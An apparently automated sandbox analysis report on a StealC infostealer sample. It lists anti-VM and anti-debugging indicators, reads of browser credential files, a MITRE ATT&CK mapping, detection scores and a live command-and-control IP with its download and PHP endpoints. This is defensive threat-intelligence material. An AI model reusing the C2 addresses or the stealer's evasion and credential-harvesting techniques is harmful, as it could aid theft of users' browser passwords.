Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: msedge.exe, 00000007.00000002.2337809438.000001F50A245000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=0706ff21-5dc9-4cfb-ad03-805dc23b1d26aD
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware\
Source: chrome.exe, 00000003.00000002.2332455942.0000614400384000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse+
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: chrome.exe, 00000003.00000002.2318805210.0000025B7CF7B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllNN
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	API call chain: ExitProcess graph end node	graph_0-71777
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	API call chain: ExitProcess graph end node	graph_0-71795
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	API call chain: ExitProcess graph end node	graph_0-72954
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	API call chain: ExitProcess graph end node	graph_0-71817
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	API call chain: ExitProcess graph end node	graph_0-71788
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	API call chain: ExitProcess graph end node	graph_0-71774
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	API call chain: ExitProcess graph end node	graph_0-71796

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041B058

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00419AA0 mov eax, dword ptr fs:[00000030h]

0_2_00419AA0

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041B058
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0041D21A SetUnhandledExceptionFilter,	0_2_0041D21A
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0041B63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B63A
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4C6ACC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6D4C6ACC
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4C1726 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6D4C1726
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4C11FD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6D4C11FD

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: I43xo3KKfS.exe PID: 4888, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_004198E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_004198E0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_00419790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00419790

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_6D48B5C0 cpuid

0_2_6D48B5C0

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417D20

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00418CF0 GetSystemTime,

0_2_00418CF0

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004179E0

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00417BC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417BC0

Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.3.I43xo3KKfS.exe.2490000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I43xo3KKfS.exe.23b0e67.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I43xo3KKfS.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I43xo3KKfS.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I43xo3KKfS.exe.23b0e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: I43xo3KKfS.exe PID: 4888, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior

Source: Yara match

File source: Process Memory Space: I43xo3KKfS.exe PID: 4888, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.3.I43xo3KKfS.exe.2490000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I43xo3KKfS.exe.23b0e67.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I43xo3KKfS.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I43xo3KKfS.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.I43xo3KKfS.exe.23b0e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: I43xo3KKfS.exe PID: 4888, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Software Packing	NTDS	143 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
I43xo3KKfS.exe	47%	ReversingLabs	Win32.Trojan.StealC
I43xo3KKfS.exe	44%	Virustotal		Browse
I43xo3KKfS.exe	100%	Avira	HEUR/AGEN.1306996
I43xo3KKfS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\chrome.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://anglebug.com/7382	0%	URL Reputation	safe
https://issuetracker.google.com/284462263	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://anglebug.com/7714	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://issuetracker.google.com/255411748	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://anglebug.com/7369	0%	URL Reputation	safe
https://anglebug.com/7489	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/7553	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
http://anglebug.com/7556	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
https://issuetracker.google.com/258207403	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
http://anglebug.com/3862	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://anglebug.com/4836	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	172.217.18.110	true	false	unknown
play.google.com	172.217.18.110	true	false	unknown
www.google.com	142.250.184.228	true	false	unknown
apis.google.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.88.105.105/caf2400fcdb97982/sqlite3.dll	true		unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340377492.0000614400BE0000.00000004.00000800.00020000.00000000.sdmp, FBAFIIJK.0.dr	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000003.00000002.2324019581.00006144000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp, FBAFIIJK.0.dr	false	URL Reputation: safe	unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000003.00000002.2323747855.000061440008C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6439r	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000003.00000002.2336044204.0000614400734000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/J	chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000003.00000003.2219385482.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2342648252.0000614400F7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2224130600.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222732723.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226530484.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2335990589.0000614400724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2337742407.0000614400950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2332561428.00006144003DC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5881C999	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.88.105.105/e88e05dfd1bdeeb9.phpApplication	I43xo3KKfS.exe, 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://issuetracker.google.com/284462263	msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.88.105.105/e88e05dfd1bdeeb9.php~	I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7488N	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336609043.00006144007BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.2226139955.0000614400480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2331262347.00006144002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225571410.00006144010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226861821.0000614400F70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225546634.000061440107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226530484.0000614400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225203176.0000614400EF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226157847.0000614400A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225632925.0000614401098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2225590202.0000614400F94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226654906.0000614401118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226782286.000061440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226230360.0000614400FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226194153.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2224229325.0000614400FE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2338625362.00006144009DC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.88.105.105/e88e05dfd1bdeeb9.phpininit.exe	I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://unisolated.invalid/	chrome.exe, 00000003.00000002.2338797288.00006144009EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2226530484.0000614400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226654906.0000614401118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226782286.000061440120C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2337807305.0000614400964000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2341121172.0000614400D08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.88.105.105/e88e05dfd1bdeeb9.phpb	I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6929	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5281	chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://45.88.105.105/e88e05dfd1bdeeb9.phpf	I43xo3KKfS.exe, 00000000.00000002.2466582402.0000000000905000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
